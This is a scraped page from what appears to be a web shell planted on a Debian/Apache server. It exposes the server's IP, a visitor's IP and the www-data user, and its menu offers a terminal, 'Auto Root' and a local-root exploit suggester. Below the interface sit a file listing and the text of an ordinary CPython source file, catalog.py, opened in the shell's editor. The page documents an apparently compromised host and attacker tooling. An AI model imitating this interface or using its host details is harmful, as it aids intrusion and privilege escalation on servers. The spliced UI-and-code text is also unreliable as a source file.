Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.41
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
Python-3.10.14 /
PC /
layout /
support /
Delete
Unzip
Name
Size
Permission
Date
Action
__init__.py
0
B
-rw-r--r--
2024-03-19 22:46
appxmanifest.py
17.49
KB
-rw-r--r--
2024-03-19 22:46
catalog.py
834
B
-rw-r--r--
2024-03-19 22:46
constants.py
1.08
KB
-rw-r--r--
2024-03-19 22:46
filesets.py
2.56
KB
-rw-r--r--
2024-03-19 22:46
logging.py
1.93
KB
-rw-r--r--
2024-03-19 22:46
nuspec.py
2.39
KB
-rw-r--r--
2024-03-19 22:46
options.py
3.27
KB
-rw-r--r--
2024-03-19 22:46
pip.py
2.19
KB
-rw-r--r--
2024-03-19 22:46
props.py
4.14
KB
-rw-r--r--
2024-03-19 22:46
python.props
3.06
KB
-rw-r--r--
2024-03-19 22:46
Save
Rename
""" File generation for catalog signing non-binary contents. """ __author__ = "Steve Dower <steve.dower@python.org>" __version__ = "3.8" import sys __all__ = ["PYTHON_CAT_NAME", "PYTHON_CDF_NAME"] def public(f): __all__.append(f.__name__) return f PYTHON_CAT_NAME = "python.cat" PYTHON_CDF_NAME = "python.cdf" CATALOG_TEMPLATE = r"""[CatalogHeader] Name={target.stem}.cat ResultDir={target.parent} PublicVersion=1 CatalogVersion=2 HashAlgorithms=SHA256 PageHashes=false EncodingType= [CatalogFiles] """ def can_sign(file): return file.is_file() and file.stat().st_size @public def write_catalog(target, files): with target.open("w", encoding="utf-8") as cat: cat.write(CATALOG_TEMPLATE.format(target=target)) cat.writelines("<HASH>{}={}\n".format(n, f) for n, f in files if can_sign(f))